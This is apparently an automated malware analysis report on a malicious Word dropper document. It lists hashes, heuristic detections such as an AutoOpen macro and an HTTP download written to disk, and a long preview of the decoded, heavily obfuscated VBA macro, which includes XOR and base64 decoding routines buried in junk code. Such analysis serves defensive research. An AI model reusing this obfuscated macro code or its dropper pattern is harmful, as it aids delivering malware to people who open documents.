Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b6d5eef7fd55fdba…

MALICIOUS

Office (OLE)

216.5 KB Created: 2018-06-17 21:43:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: f7b326d22dc094ab38488531636dac8a SHA-1: a2410d66f54b5a78fa2518115333d23436a467bd SHA-256: b6d5eef7fd55fdba679b49f2af4fea66f417f7663f10edc6b61b507a593aa8bf
252 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The file contains VBA macros, including an AutoOpen macro, which are designed to execute automatically. Critical heuristics indicate that the VBA code downloads and writes a file to disk using HTTP, suggesting it acts as a dropper for a second-stage payload. The obfuscated nature of the VBA code and the lack of specific indicators prevent confident family attribution.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6606880-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6606880-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    .Write TWENTYkiXi9iawf.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set eJWWZvJdG7 = CreateObject(HQicivFmlCO)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 283948 bytes
SHA-256: 5a16b4c81b17e3a6b46af341ce2a9ed239ff3e93d9f68a8eaba7a78dcb7b7057
Detection
ClamAV: No threats found
Obfuscation or payload: likely
858 of 1514 identifiers look randomly generated (e.g. 'NswWqLdaVeHpgGEj') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "VPvtDJVQ"
Public Function OWle7rKyf(ByRef NUbtP7Yl9 As String, ByVal jy2Wn1wHnh As String) As String
Dim caycOQs() As Byte
Dim bU4ZkJL() As Byte
For sBZmPQRqo = 0 To 8
hXyrhWGN = hXyrhWGN + sBZmPQRqo
Next sBZmPQRqo
Dim Knr0UhP, valTqo As Integer
Knr0UhP = 9 + 9
For N4dhbvY = 0 To 5
valTqo = valTqo + N4dhbvY
Next N4dhbvY
If valTqo < N4dhbvY Then
Dim erHd8f As Long
End If
Dim pA54IY, apIb5RYd As Integer
pA54IY = 5 + 7
For Tm1WOKcg = 0 To 6
apIb5RYd = apIb5RYd + Tm1WOKcg
Next Tm1WOKcg
If apIb5RYd < Tm1WOKcg Then
Dim myKiRQ5PN As Long
End If
Dim RgXbJtjBij As String
For AXsoHJy9Wl = 0 To 9
RgXbJtjBij = RgXbJtjBij + "g"
Next AXsoHJy9Wl
Dim aMzl84KD1 As Long
For obCbgApM = 9 To 12
aMzl84KD1 = aMzl84KD1 + obCbgApM
Next obCbgApM
Dim sarkScHlV As String
For ltapNO = 0 To 5
sarkScHlV = sarkScHlV + "x"
Next ltapNO
Dim zkn1P8ud4 As String
For u94bqp = 0 To 6
zkn1P8ud4 = zkn1P8ud4 + "n"
Next u94bqp
For TWNPlFx = 0 To 6
EoLuj6C = EoLuj6C + TWNPlFx
Next TWNPlFx
If Application.UserName = "bKI4PXh07j7" Then
MsgBox ("USzj4qNkkSH")
Else
Dim rQz0CmY7lOfY4V As String
rQz0CmY7lOfY4V = Application.UserName
End If
If Application.UserName = "ogP7Dttauko" Then
MsgBox ("YiWL7peQmX1")
Else
Dim rqTISSgCHFVc9a As String
rqTISSgCHFVc9a = Application.UserName
End If
If Len(Application.UserName) < 259 Then
Dim MmJjvZeD As Collection
End If
Dim YhX6P9lPX As Long
Dim F2rx9XLX As String
For vYYur9r0M = 0 To 8
F2rx9XLX = F2rx9XLX + "B"
Next vYYur9r0M
For kItLgjLQhv = 0 To 5
DKEJWe = DKEJWe + kItLgjLQhv
Next kItLgjLQhv
Dim mtTPamIrS As String
For XAXTcC8oV = 0 To 5
mtTPamIrS = mtTPamIrS + "H"
Next XAXTcC8oV
Dim eF9PG1fU As Long
For k98DzPU = 9 To 11
eF9PG1fU = eF9PG1fU + k98DzPU
Next k98DzPU
For d8p58V52Lb = 0 To 9
RgU07zYeR = RgU07zYeR + d8p58V52Lb
Next d8p58V52Lb
Dim mUo6BDDy9t, gRU8fPgPUe As Integer
mUo6BDDy9t = 7 + 5
For f2AlDzYj56 = 0 To 7
gRU8fPgPUe = gRU8fPgPUe + f2AlDzYj56
Next f2AlDzYj56
If gRU8fPgPUe < f2AlDzYj56 Then
Dim wzUcXvl4K As Long
End If
If Len(Application.UserName) < 414 Then
Dim xZUKvI As Collection
End If
Dim NFs1uo8 As Long
Dim m3oliW, bB3b1b9xT As Integer
m3oliW = 7 + 7
For rpE4Fqkv = 0 To 5
bB3b1b9xT = bB3b1b9xT + rpE4Fqkv
Next rpE4Fqkv
If bB3b1b9xT < rpE4Fqkv Then
Dim jUNLYQhBt As Long
End If
Dim yq8GGAW3Jd As Long
For ioIQfgk2 = 6 To 12
yq8GGAW3Jd = yq8GGAW3Jd + ioIQfgk2
Next ioIQfgk2
Dim PUvwk77uSQ As String
For YAt3V1Do = 0 To 6
PUvwk77uSQ = PUvwk77uSQ + "D"
Next YAt3V1Do
Dim UIEJ6b, YTbH38Y0 As Integer
UIEJ6b = 7 + 6
For HdHNHG = 0 To 5
YTbH38Y0 = YTbH38Y0 + HdHNHG
Next HdHNHG
If YTbH38Y0 < HdHNHG Then
Dim XW98tX As Long
End If
Dim LTWlnDN As String
For oiP67ZmX = 0 To 8
LTWlnDN = LTWlnDN + "k"
Next oiP67ZmX
Dim xCkp9uJjx As Long
Dim vCtSga As Long
For rWpjoT = 9 To 13
vCtSga = vCtSga + rWpjoT
Next rWpjoT
Dim fPEmQfNQnN, Te7NeK As Integer
fPEmQfNQnN = 9 + 9
For WAoxglNB = 0 To 6
Te7NeK = Te7NeK + WAoxglNB
Next WAoxglNB
If Te7NeK < WAoxglNB Then
Dim XNzJL783kH As Long
End If
Dim d4HIwen As String
For bs0cPo = 0 To 6
d4HIwen = d4HIwen + "i"
Next bs0cPo
Dim BmWfterdRZ, ECJqU1Yt1 As Integer
BmWfterdRZ = 9 + 8
For SZK0KB50DK = 0 To 6
ECJqU1Yt1 = ECJqU1Yt1 + SZK0KB50DK
Next SZK0KB50DK
If ECJqU1Yt1 < SZK0KB50DK Then
Dim PqGN5b As Long
End If
Dim YKBlPHrxDp As Long
Dim ASdyHeQqbP As String
For S3MtGJ = 0 To 6
ASdyHeQqbP = ASdyHeQqbP + "Y"
Next S3MtGJ
Dim vmYWYh As Long
For ga7OzTci = 5 To 10
vmYWYh = vmYWYh + ga7OzTci
Next ga7OzTci
If Application.UserName = "JSoHmZZS5OS" Then
MsgBox ("sFHn3U5223o")
Else
Dim ghiepyH1IOZNrB As String
ghiepyH1IOZNrB = Application.UserName
End If
If Application.UserName = "odnBxzidmWR" Then
MsgBox ("LcqOsavzW0E")
Else
Dim tXMv555qPuTZER As String
tXMv555qPuTZER = Application.UserName
End If
If Len(Application.UserName) < 348 Then
Dim G6wNSsRf As Collection
End If
If Application.UserName = "M1rrF96CyS3" Then
MsgBox ("NEeDznotaUq")
Else
Dim XSGXIk18VitgOl As String
XSGXIk18VitgOl = Application.UserName
End If
If Len(Application.UserName) < 161 Then
Dim gg3C5M As Collection
End If
caycOQs = StrConv(NUbtP7Yl9, vbFromUnicode)
Dim By4uBxnzo4 As String
For LO9F4TFxG9 = 0 To 9
By4uBxnzo4 = By4uBxnzo4 + "E"
Next LO9F4TFxG9
Dim kRBNjbccs As Long
For CZreD1JkO5 = 9 To 13
kRBNjbccs = kRBNjbccs + CZreD1JkO5
Next CZreD1JkO5
Dim V4Aio12Ut, aT1d2fR As Integer
V4Aio12Ut = 6 + 5
For KqaunfSDq = 0 To 5
aT1d2fR = aT1d2fR + KqaunfSDq
Next KqaunfSDq
If aT1d2fR < KqaunfSDq Then
Dim gAoKZAYY5 As Long
End If
Dim rQph814W As String
For VbKfkm = 0 To 8
rQph814W = rQph814W + "t"
Next VbKfkm
Dim thsg57nr As Long
For AySRDkXVr = 6 To 15
thsg57nr = thsg57nr + AySRDkXVr
Next AySRDkXVr
Dim BLpDo0sbve As Long
For srghsAZB = 5 To 14
BLpDo0sbve = BLpDo0sbve + srghsAZB
Next srghsAZB
If Application.UserName = "LMs2MfOKvQv" Then
MsgBox ("n2aGBTPMoP7")
Else
Dim woxSYdf9KfKrL2 As String
woxSYdf9KfKrL2 = Application.UserName
End If
If Len(Application.UserName) < 216 Then
Dim GtT95DGK2W As Collection
End If
If Application.UserName = "t4EYRbypEv8" Then
MsgBox ("Qyg6NQE362n")
Else
Dim d0HwV5qIeoc0sy As String
d0HwV5qIeoc0sy = Application.UserName
End If
YhX6P9lPX = UBound(caycOQs)
Dim cXNCPu8dfR, fVudQO5Cc As Integer
cXNCPu8dfR = 6 + 5
For fseZ2zkPx = 0 To 5
fVudQO5Cc = fVudQO5Cc + fseZ2zkPx
Next fseZ2zkPx
If fVudQO5Cc < fseZ2zkPx Then
Dim BHgaHvCaZ As Long
End If
Dim eEqBSXhDDT As Long
For TlcLDi5UHs = 8 To 13
eEqBSXhDDT = eEqBSXhDDT + TlcLDi5UHs
Next TlcLDi5UHs
Dim zzdLZBMC As String
For mGqJQw = 0 To 8
zzdLZBMC = zzdLZBMC + "x"
Next mGqJQw
bU4ZkJL = StrConv(jy2Wn1wHnh, vbFromUnicode)
Dim QqJZUMCuA As String
For xAKj9feh9B = 0 To 8
QqJZUMCuA = QqJZUMCuA + "T"
Next xAKj9feh9B
Dim bUE3aB, GcHGn6 As Integer
bUE3aB = 6 + 8
For y3oppkGprw = 0 To 8
GcHGn6 = GcHGn6 + y3oppkGprw
Next y3oppkGprw
If GcHGn6 < y3oppkGprw Then
Dim qaPxbDQ As Long
End If
Dim T7ZYxcy As String
For GXrPmqC = 0 To 9
T7ZYxcy = T7ZYxcy + "E"
Next GXrPmqC
Dim nZEvo2w, ydsvqmij As Integer
nZEvo2w = 9 + 9
For ZX2CEYLH = 0 To 8
ydsvqmij = ydsvqmij + ZX2CEYLH
Next ZX2CEYLH
If ydsvqmij < ZX2CEYLH Then
Dim kiptMvR As Long
End If
Dim iNr65sRa As String
For yWOquwi = 0 To 7
iNr65sRa = iNr65sRa + "K"
Next yWOquwi
For mIOprG = 0 To 9
w7FOsaRYMr = w7FOsaRYMr + mIOprG
Next mIOprG
Dim dmWlwfo As String
For aP9HUh = 0 To 9
dmWlwfo = dmWlwfo + "N"
Next aP9HUh
For VN7KvP54 = 0 To 8
D5o18KQ = D5o18KQ + VN7KvP54
Next VN7KvP54
Dim kEfKy9Cx As String
For oA3Sqqc = 0 To 5
kEfKy9Cx = kEfKy9Cx + "R"
Next oA3Sqqc
If Len(Application.UserName) < 826 Then
Dim pxOT47qN As Collection
End If
If Len(Application.UserName) < 485 Then
Dim hbBlPGX68p As Collection
End If
If Application.UserName = "mdvHE84x1vv" Then
MsgBox ("jWB8ZcDhQD0")
Else
Dim MzwB8oQdBIsYKQ As String
MzwB8oQdBIsYKQ = Application.UserName
End If
If Len(Application.UserName) < 554 Then
Dim AjMCy6i78 As Collection
End If
If Application.UserName = "X7bnANEn2DJ" Then
MsgBox ("SQKcpSqu1zd")
Else
Dim MfVhezFqitPKOW As String
MfVhezFqitPKOW = Application.UserName
End If
NFs1uo8 = UBound(bU4ZkJL)
Dim HbHFLS8oi3, tu0BGddnnm As Integer
HbHFLS8oi3 = 9 + 5
For DXfr4AB1v = 0 To 5
tu0BGddnnm = tu0BGddnnm + DXfr4AB1v
Next DXfr4AB1v
If tu0BGddnnm < DXfr4AB1v Then
Dim RrcmWP2y As Long
End If
Dim mBWt96UR As Long
For M0qRs1Tkg = 5 To 17
mBWt96UR = mBWt96UR + M0qRs1Tkg
Next M0qRs1Tkg
If Application.UserName = "H16AgrjhK4O" Then
MsgBox ("f5RZjsFOG4z")
Else
Dim Qi5EaKWnzyvSZn As String
Qi5EaKWnzyvSZn = Application.UserName
End If
If Application.UserName = "NCzveMFre1T" Then
MsgBox ("zmhSGmfo9gA")
Else
Dim LhJXeOkY2SWCcb As String
LhJXeOkY2SWCcb = Application.UserName
End If
For xCkp9uJjx = 0 To YhX6P9lPX
Dim R7ZXT5wQIS As String
For ijjfr7k8CC = 0 To 8
R7ZXT5wQIS = R7ZXT5wQIS + "k"
Next ijjfr7k8CC
Dim SGQazPOR, qDW6Xef As Integer
SGQazPOR = 8 + 8
For cAkIhIn = 0 To 6
qDW6Xef = qDW6Xef + cAkIhIn
Next cAkIhIn
If qDW6Xef < cAkIhIn Then
Dim lHNFEFjn As Long
End If
For CrYc3piN4R = 0 To 9
E0O6I20RL = E0O6I20RL + CrYc3piN4R
Next CrYc3piN4R
For rA2nReFk = 0 To 7
dwbJEc8r = dwbJEc8r + rA2nReFk
Next rA2nReFk
Dim h6nHwxSLC As Long
For arjSHBeWw = 9 To 11
h6nHwxSLC = h6nHwxSLC + arjSHBeWw
Next arjSHBeWw
For gaDCPE = 0 To 5
qyyxQAc5 = qyyxQAc5 + gaDCPE
Next gaDCPE
Dim lsSkI9y As Long
For w6tN6a = 5 To 14
lsSkI9y = lsSkI9y + w6tN6a
Next w6tN6a
Dim ObtU1rlv3 As String
For ZYCQbgnQml = 0 To 7
ObtU1rlv3 = ObtU1rlv3 + "d"
Next ZYCQbgnQml
For mCiUzi = 0 To 5
B1dAdLsE44 = B1dAdLsE44 + mCiUzi
Next mCiUzi
If Application.UserName = "UEh00PvjOLQ" Then
MsgBox ("aqEPka5emr9")
Else
Dim lqplZd5qJ8seGV As String
lqplZd5qJ8seGV = Application.UserName
End If
caycOQs(xCkp9uJjx) = caycOQs(xCkp9uJjx) Xor bU4ZkJL(YKBlPHrxDp)
Dim gT9o0rPoHV As Long
For y0cWCL4Ln = 6 To 15
gT9o0rPoHV = gT9o0rPoHV + y0cWCL4Ln
Next y0cWCL4Ln
Dim Z61Aw3 As String
For Mvqr5COG = 0 To 7
Z61Aw3 = Z61Aw3 + "z"
Next Mvqr5COG
Dim XF8cC8FKT, CgvLo6R As Integer
XF8cC8FKT = 6 + 7
For lhnfka8 = 0 To 5
CgvLo6R = CgvLo6R + lhnfka8
Next lhnfka8
If CgvLo6R < lhnfka8 Then
Dim lz2HPWX As Long
End If
Dim QDv7avn, hRjZQfOzpP As Integer
QDv7avn = 7 + 7
For pq3S7xf = 0 To 6
hRjZQfOzpP = hRjZQfOzpP + pq3S7xf
Next pq3S7xf
If hRjZQfOzpP < pq3S7xf Then
Dim eT72xYIbPE As Long
End If
Dim l3QSUmGe As Long
For cmqRx5wF = 9 To 13
l3QSUmGe = l3QSUmGe + cmqRx5wF
Next cmqRx5wF
Dim RMyz7m8Q As Long
For eTuYoC4 = 5 To 14
RMyz7m8Q = RMyz7m8Q + eTuYoC4
Next eTuYoC4
If Application.UserName = "J2fwHYXLYKm" Then
MsgBox ("SAFxzz3L92g")
Else
Dim HHXTnVtGRsGIz6 As String
HHXTnVtGRsGIz6 = Application.UserName
End If
If YKBlPHrxDp < NFs1uo8 Then
For E0vHg9 = 0 To 9
tnvccH3aDQ = tnvccH3aDQ + E0vHg9
Next E0vHg9
If Application.UserName = "WH2rXuoTdfH" Then
MsgBox ("R2X5dSUftpX")
Else
Dim rXGkkqaTJi3T0V As String
rXGkkqaTJi3T0V = Application.UserName
End If
YKBlPHrxDp = YKBlPHrxDp + 1
For V9ybXyat4 = 0 To 6
yVHnjjKKnC = yVHnjjKKnC + V9ybXyat4
Next V9ybXyat4
Dim Plan74s As String
For Mfar5b = 0 To 5
Plan74s = Plan74s + "n"
Next Mfar5b
For Gp6s2t = 0 To 6
uyQhh9 = uyQhh9 + Gp6s2t
Next Gp6s2t
Dim xZiOh1 As Long
For diAA2bK = 6 To 14
xZiOh1 = xZiOh1 + diAA2bK
Next diAA2bK
For Pm0OoF = 0 To 7
E8cJmJ = E8cJmJ + Pm0OoF
Next Pm0OoF
Dim YujLVEITV8 As Long
For bDeqmqkN = 7 To 12
YujLVEITV8 = YujLVEITV8 + bDeqmqkN
Next bDeqmqkN
For EgSuHyNMP = 0 To 8
TJIMwIcvf = TJIMwIcvf + EgSuHyNMP
Next EgSuHyNMP
Else
If Len(Application.UserName) < 657 Then
Dim gs5rtg As Collection
End If
If Len(Application.UserName) < 138 Then
Dim g9cM41F3ZZ As Collection
End If
If Len(Application.UserName) < 199 Then
Dim Yxej85KnE As Collection
End If
If Len(Application.UserName) < 926 Then
Dim bmUghe As Collection
End If
YKBlPHrxDp = 0
Dim vOPru5Nq As String
For C07atfVcW = 0 To 5
vOPru5Nq = vOPru5Nq + "U"
Next C07atfVcW
Dim h8KtLEESM As String
For m2Tyfk = 0 To 8
h8KtLEESM = h8KtLEESM + "S"
Next m2Tyfk
Dim f5bMYEd4 As String
For SOugt1 = 0 To 8
f5bMYEd4 = f5bMYEd4 + "z"
Next SOugt1
Dim e9rTC3pcSb As Long
For Tj4IcsQ = 8 To 12
e9rTC3pcSb = e9rTC3pcSb + Tj4IcsQ
Next Tj4IcsQ
Dim U0TmOjn As String
For PkFiNnMe = 0 To 5
U0TmOjn = U0TmOjn + "p"
Next PkFiNnMe
Dim aB3CYwh29b As Long
For EQ9WpwfX = 8 To 13
aB3CYwh29b = aB3CYwh29b + EQ9WpwfX
Next EQ9WpwfX
Dim oY2lmi8 As String
For HRTBlbbld = 0 To 8
oY2lmi8 = oY2lmi8 + "v"
Next HRTBlbbld
Dim BysgkTUl6D As String
For z70ctQRD = 0 To 6
BysgkTUl6D = BysgkTUl6D + "P"
Next z70ctQRD
Dim spCCg5PD9 As Long
For ll45NC = 5 To 15
spCCg5PD9 = spCCg5PD9 + ll45NC
Next ll45NC
If Application.UserName = "yr2ZxVWCoUN" Then
MsgBox ("hN8LonreQwV")
Else
Dim EUbNRw1WHNoeCc As String
EUbNRw1WHNoeCc = Application.UserName
End If
If Len(Application.UserName) < 694 Then
Dim GqPtIZe7 As Collection
End If
End If
Dim ulO9aIh1r As String
For AcGEtMDs1 = 0 To 7
ulO9aIh1r = ulO9aIh1r + "Q"
Next AcGEtMDs1
For t3007d = 0 To 5
ilay6M = ilay6M + t3007d
Next t3007d
Dim S6y2k4LaC As String
For VMw4hvphT = 0 To 5
S6y2k4LaC = S6y2k4LaC + "m"
Next VMw4hvphT
Dim hqBSV9 As String
For tkardmKt = 0 To 9
hqBSV9 = hqBSV9 + "P"
Next tkardmKt
Dim zeE7ScAPFT As String
For OoMkJAx = 0 To 7
zeE7ScAPFT = zeE7ScAPFT + "z"
Next OoMkJAx
Dim wXpeVPY0u, GJdUkrID As Integer
wXpeVPY0u = 7 + 5
For ta3x8e3q = 0 To 7
GJdUkrID = GJdUkrID + ta3x8e3q
Next ta3x8e3q
If GJdUkrID < ta3x8e3q Then
Dim xastEpGb0v As Long
End If
Dim xoBaZ9I As String
For K1hCrflKW = 0 To 6
xoBaZ9I = xoBaZ9I + "U"
Next K1hCrflKW
If Len(Application.UserName) < 551 Then
Dim nYiXi0q As Collection
End If
If Application.UserName = "Icilp516Csm" Then
MsgBox ("dZfFOtNOrWm")
Else
Dim J3EGmFQbex2SnQ As String
J3EGmFQbex2SnQ = Application.UserName
End If
If Len(Application.UserName) < 719 Then
Dim d0auNU3zV As Collection
End If
If Application.UserName = "t02lbY7WXYe" Then
MsgBox ("BVH7YIdj6rJ")
Else
Dim EHuBZwO6wfomCj As String
EHuBZwO6wfomCj = Application.UserName
End If
If Application.UserName = "FS4PkBrY9do" Then
MsgBox ("QX3wTW5wbgE")
Else
Dim qcbxFqPbCLo8Zl As String
qcbxFqPbCLo8Zl = Application.UserName
End If
If Len(Application.UserName) < 283 Then
Dim GJ20Fl7 As Collection
End If
Next xCkp9uJjx
Dim Zst5bOSzR As String
For EBnTsoUd = 0 To 7
Zst5bOSzR = Zst5bOSzR + "n"
Next EBnTsoUd
Dim Va7CG6bUvC As String
For lqq3WG = 0 To 5
Va7CG6bUvC = Va7CG6bUvC + "S"
Next lqq3WG
Dim O0SHfR As Long
For DsHNqdHsh0 = 6 To 15
O0SHfR = O0SHfR + DsHNqdHsh0
Next DsHNqdHsh0
Dim Ta8GiVexD As String
For v8dqsSp = 0 To 7
Ta8GiVexD = Ta8GiVexD + "L"
Next v8dqsSp
Dim awgJGF, p7EH8U7Iy As Integer
awgJGF = 7 + 7
For tkMSXQ = 0 To 6
p7EH8U7Iy = p7EH8U7Iy + tkMSXQ
Next tkMSXQ
If p7EH8U7Iy < tkMSXQ Then
Dim N9lKbMN8V7 As Long
End If
Dim z1N8wyVkn As Long
For eE0GtJ3O = 7 To 12
z1N8wyVkn = z1N8wyVkn + eE0GtJ3O
Next eE0GtJ3O
If Application.UserName = "Hzk2z3hyDep" Then
MsgBox ("hKRBwlylJ9F")
Else
Dim eSBZweIWjhKck3 As String
eSBZweIWjhKck3 = Application.UserName
End If
If Application.UserName = "I9fusjolVjA" Then
MsgBox ("UHy5igbfch1")
Else
Dim tsBRI2Bq0PEZHE As String
tsBRI2Bq0PEZHE = Application.UserName
End If
OWle7rKyf = StrConv(caycOQs, vbUnicode)
Dim l3asXIHtPI As Long
For kodJwiDkHV = 7 To 14
l3asXIHtPI = l3asXIHtPI + kodJwiDkHV
Next kodJwiDkHV
Dim VZ1i5q3g As Long
For qCQkdGV0K = 7 To 11
VZ1i5q3g = VZ1i5q3g + qCQkdGV0K
Next qCQkdGV0K
Dim gD9Dw1 As String
For LbLSmxG = 0 To 6
gD9Dw1 = gD9Dw1 + "D"
Next LbLSmxG
Dim qQN3l6ugy As String
For Q4fzt0JOCY = 0 To 8
qQN3l6ugy = qQN3l6ugy + "A"
Next Q4fzt0JOCY
Dim FpCk6kv5, IXefRH9 As Integer
FpCk6kv5 = 7 + 5
For Nf3RFNp2h = 0 To 6
IXefRH9 = IXefRH9 + Nf3RFNp2h
Next Nf3RFNp2h
If IXefRH9 < Nf3RFNp2h Then
Dim lyHI085 As Long
End If
Dim LBqACA7j, pLdlYfYPK2 As Integer
LBqACA7j = 6 + 7
For QwQR0q = 0 To 6
pLdlYfYPK2 = pLdlYfYPK2 + QwQR0q
Next QwQR0q
If pLdlYfYPK2 < QwQR0q Then
Dim ut2cObxCjx As Long
End If
End Function
Public Function dcCGA9vP(ByVal THREE As String) As Byte()
   Dim VOito5Qx As Integer, GnLdmn3lo As Integer, pJFq3EhrC3j(0 To 63) As Byte, kbqVXyZy(0 To 127) As Byte
If Application.UserName = "vSGuPBVaquR" Then
MsgBox ("fYHNd6uvvlE")
Else
Dim XJY0Msqkn8JGJE As String
XJY0Msqkn8JGJE = Application.UserName
End If
If Len(Application.UserName) < 125 Then
Dim zjmIOAedd As Collection
End If
If Len(Application.UserName) < 881 Then
Dim IoUh199U As Collection
End If
If Application.UserName = "kyiGsdN7tGo" Then
MsgBox ("cxhwjMx8hOJ")
Else
Dim qutzpLUJjYPT4i As String
qutzpLUJjYPT4i = Application.UserName
End If
If Len(Application.UserName) < 929 Then
Dim iuLh4E6NG As Collection
End If
If Application.UserName = "A6IOBIaW6BA" Then
MsgBox ("x120vCf2rTD")
Else
Dim NUBMBCYtdc0yor As String
NUBMBCYtdc0yor = Application.UserName
End If
If Len(Application.UserName) < 328 Then
Dim ZYpH2jwrT As Collection
End If
   GnLdmn3lo = 0
Dim xciPc3sXI As String
For Rvhp9tHvH = 0 To 6
xciPc3sXI = xciPc3sXI + "W"
Next Rvhp9tHvH
For LOWVBjIQn = 0 To 9
EmXsmrEZ = EmXsmrEZ + LOWVBjIQn
Next LOWVBjIQn
Dim HqhjfHo As String
For XJlzyiRXKC = 0 To 5
HqhjfHo = HqhjfHo + "U"
Next XJlzyiRXKC
Dim j4SleHIAne As Long
For A88uHupRq = 7 To 14
j4SleHIAne = j4SleHIAne + A88uHupRq
Next A88uHupRq
Dim xY8sBzT As String
For r4XZwy9tPT = 0 To 8
xY8sBzT = xY8sBzT + "H"
Next r4XZwy9tPT
Dim LtMjLhdgOA As String
For oqVZWOJkjL = 0 To 8
LtMjLhdgOA = LtMjLhdgOA + "C"
Next oqVZWOJkjL
For wtNxsw = 0 To 9
Q251LZ5WUO = Q251LZ5WUO + wtNxsw
Next wtNxsw
If Len(Application.UserName) < 844 Then
Dim W54LPq As Collection
End If
If Len(Application.UserName) < 149 Then
Dim acAw11uX As Collection
End If
If Application.UserName = "y5tDuWHEFku" Then
MsgBox ("cDPyzQ65xl2")
Else
Dim H4sx04UudPaZbH As String
H4sx04UudPaZbH = Application.UserName
End If
   For VOito5Qx = Asc("A") To Asc("Z"): pJFq3EhrC3j(GnLdmn3lo) = VOito5Qx: GnLdmn3lo = GnLdmn3lo + 1: Next
Dim jEuP2Q As Long
For IiFSKOU = 7 To 13
jEuP2Q = jEuP2Q + IiFSKOU
Next IiFSKOU
Dim BxrZRanotV, piDjdGD0 As Integer
BxrZRanotV = 6 + 6
For YGrjxkPDW = 0 To 7
piDjdGD0 = piDjdGD0 + YGrjxkPDW
Next YGrjxkPDW
If piDjdGD0 < YGrjxkPDW Then
Dim KuzZZWKrim As Long
End If
Dim KmNsOz2KV As String
For H9URdKcEQU = 0 To 8
KmNsOz2KV = KmNsOz2KV + "s"
Next H9URdKcEQU
Dim Ovfg8bVYjD As String
For EXAGBb = 0 To 8
Ovfg8bVYjD = Ovfg8bVYjD + "o"
Next EXAGBb
Dim RSRdWyzOs, E7W8V0ajUF As Integer
RSRdWyzOs = 9 + 7
For uhJMK3wlC = 0 To 5
E7W8V0ajUF = E7W8V0ajUF + uhJMK3wlC
Next uhJMK3wlC
If E7W8V0ajUF < uhJMK3wlC Then
Dim Xf3w8CCSHD As Long
End If
Dim dYhB7xelQ As Long
For hYYq7RJFy = 8 To 12
dYhB7xelQ = dYhB7xelQ + hYYq7RJFy
Next hYYq7RJFy
If Len(Application.UserName) < 582 Then
Dim TDoBR6KFkZ As Collection
End If
If Application.UserName = "qkGMKO8xUQJ" Then
MsgBox ("olinVQzo2Bs")
Else
Dim ILeNNAKmJjT7Iz As String
ILeNNAKmJjT7Iz = Application.UserName
End If
If Application.UserName = "y8ir1nvKyuf" Then
MsgBox ("KOcuvcvjIW3")
Else
Dim f52exwRGuXqU5T As String
f52exwRGuXqU5T = Application.UserName
End If
   For VOito5Qx = Asc("a") To Asc("z"): pJFq3EhrC3j(GnLdmn3lo) = VOito5Qx: GnLdmn3lo = GnLdmn3lo + 1: Next
Dim ap0AUM As String
For wIhKycKp = 0 To 5
ap0AUM = ap0AUM + "o"
Next wIhKycKp
Dim XsM9QnPAmi As Long
For CLzyjoNhkw = 5 To 14
XsM9QnPAmi = XsM9QnPAmi + CLzyjoNhkw
Next CLzyjoNhkw
Dim KP88wRh28B, uvZEBKo As Integer
KP88wRh28B = 6 + 8
For WXgqtso1hD = 0 To 8
uvZEBKo = uvZEBKo + WXgqtso1hD
Next WXgqtso1hD
If uvZEBKo < WXgqtso1hD Then
Dim Xs2yx0OdQ As Long
End If
For W5lPGi9ZnU = 0 To 6
C39vaZv = C39vaZv + W5lPGi9ZnU
Next W5lPGi9ZnU
Dim nEjV332, vg53dD As Integer
nEjV332 = 6 + 9
For wKslhJvMnt = 0 To 6
vg53dD = vg53dD + wKslhJvMnt
Next wKslhJvMnt
If vg53dD < wKslhJvMnt Then
Dim sNuXRI8p As Long
End If
If Len(Application.UserName) < 167 Then
Dim N7tFIdCcZs As Collection
End If
If Application.UserName = "Weqlyrr5YPg" Then
MsgBox ("vWPpF4d7fOb")
Else
Dim TdCGOOG2R7QNHB As String
TdCGOOG2R7QNHB = Application.UserName
End If
If Len(Application.UserName) < 134 Then
Dim LmC7pZPj As Collection
End If
   For VOito5Qx = Asc("0") To Asc("9"): pJFq3EhrC3j(GnLdmn3lo) = VOito5Qx: GnLdmn3lo = GnLdmn3lo + 1: Next
Dim CPEgRTGdsM As String
For Cosbdj1SuD = 0 To 8
CPEgRTGdsM = CPEgRTGdsM + "j"
Next Cosbdj1SuD
Dim fbsOUqB947, YAgUtf9F As Integer
fbsOUqB947 = 7 + 8
For xr1C46 = 0 To 8
YAgUtf9F = YAgUtf9F + xr1C46
Next xr1C46
If YAgUtf9F < xr1C46 Then
